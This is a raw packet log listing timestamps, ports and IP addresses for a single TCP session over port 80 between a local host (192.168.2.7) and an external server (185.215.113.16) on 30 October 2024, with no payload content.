Oct 30, 2024 04:35:24.876693964 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.876708031 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.876724958 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.876738071 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.876852989 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.876965046 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.879558086 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.879627943 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.879651070 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.879668951 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.879673958 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.879689932 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.879705906 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.879767895 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.879776955 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.879858017 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.879858017 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.879877090 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.879921913 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.879935980 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.879939079 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.879954100 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.880023003 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.880362988 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.880429029 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.880467892 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.880511999 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.880543947 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.880558014 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.880573034 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.880588055 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.880592108 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.880604982 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.880660057 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.880944014 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.881009102 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.881050110 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.881082058 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.881095886 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.881110907 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.881127119 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.881151915 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.881165028 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.881177902 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.881257057 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.881746054 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.881761074 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.881779909 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.881820917 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.881869078 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.920789957 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.920876980 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.920895100 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.920911074 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.920928955 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.920943022 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.920978069 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.921071053 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.921159983 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.921174049 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.921228886 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.921240091 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.921303034 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.921334028 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.921350956 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.921350002 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.921367884 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.921448946 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.921732903 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.921747923 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.921865940 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.921881914 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.921895027 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.921941996 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.921978951 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.922060966 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.922105074 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.922121048 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.922126055 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.922168016 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.922168016 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.922187090 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.922228098 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.922271967 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.922321081 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.954024076 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.954041004 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.954055071 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.954135895 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.954147100 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.954153061 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.954188108 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.954199076 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.954245090 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.954261065 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.954286098 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.954287052 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.954303980 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.954310894 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.954334974 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.954349995 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.954545021 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.954597950 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.954601049 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.954617977 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.954643011 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.954644918 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.954665899 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.954689980 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.995306969 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.995331049 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.995347023 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.995439053 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.995601892 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.998090029 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.998143911 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.998162031 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.998183012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.998224974 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.998231888 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.998245955 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.998305082 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.998321056 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.998368979 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.998378038 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.998393059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.998409986 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.998492002 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.998775005 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.998805046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.998821020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.998857021 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.998963118 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.998999119 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.999047041 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.999062061 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.999070883 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.999170065 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.999263048 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.999305010 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.999330044 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.999351978 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.999419928 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.999450922 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.999459982 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.999468088 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.999483109 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.999499083 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.999511003 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.999578953 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.999650955 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.000107050 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.000144005 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.000174046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.000190020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.000194073 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.000240088 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.000257969 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.000303030 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.000412941 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.000720024 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.000736952 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.000751019 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.000811100 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.000859976 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.039446115 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.039475918 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.039490938 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.039515018 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.039518118 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.039552927 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.039596081 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.039601088 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.039635897 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.039659977 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.039712906 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.039853096 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.039899111 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.039908886 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.039940119 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.039959908 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.039963961 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.039977074 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.039995909 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.040008068 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.040023088 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.040056944 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.040128946 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.040189028 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.040226936 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.040252924 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.040273905 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.040311098 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.040345907 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.040386915 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.040399075 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.040414095 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.040436029 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.040452957 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.040498018 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.040713072 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.040757895 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.040759087 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.040776014 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.040801048 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.040822983 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.040828943 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.040844917 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.040863991 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.040889025 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.072696924 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.072741985 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.072763920 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.072767019 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.072779894 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.072796106 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.072798967 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.072824001 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.072865009 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.072947025 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.072963953 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.072988033 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.073009014 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.073009968 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.073038101 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.073050022 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.073080063 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.073393106 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.073409081 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.073422909 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.073445082 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.073471069 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.113796949 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.113873005 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.113887072 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.113900900 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.113919973 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.113957882 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.113979101 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.116604090 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.116631985 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.116655111 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.116671085 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.116673946 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.116687059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.116695881 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.116714954 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.116753101 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.116771936 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.116796017 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.116813898 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.116820097 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.116836071 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.116837978 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.116863012 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.116873026 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.117129087 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.117162943 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.117180109 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.117209911 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.117258072 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.117296934 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.117357016 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.117646933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.117665052 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.117681026 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.117705107 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.117731094 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.117760897 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.117783070 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.117808104 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.117810011 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.117826939 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.117835999 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.117845058 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.117861032 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.117883921 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.118280888 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.118304014 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.118326902 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.118351936 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.118386984 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.118433952 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.118436098 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.118451118 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.118474960 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.118494987 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.118499041 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.118515968 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.118539095 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.118561029 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.118591070 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.118606091 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.118621111 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.118634939 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.118635893 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.118674040 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.119229078 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.119244099 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.119257927 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.119280100 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.119323015 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.158107996 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.158139944 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.158148050 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.158199072 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.158215046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.158334970 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.158345938 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.158364058 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.158380985 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.158400059 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.158509016 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.158525944 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.158556938 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.158572912 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.158587933 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.158648968 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.158664942 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.158674002 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.158757925 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.158961058 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.159018040 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.159023046 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.159034014 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.159096003 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.159111023 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.159117937 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.159132004 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.159207106 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.159554958 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.159570932 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.159584999 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.159652948 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.159740925 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.159806967 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.159811020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.159827948 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.159898996 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.191384077 CET	80	49983	185.215.113.16	192.168.2.7
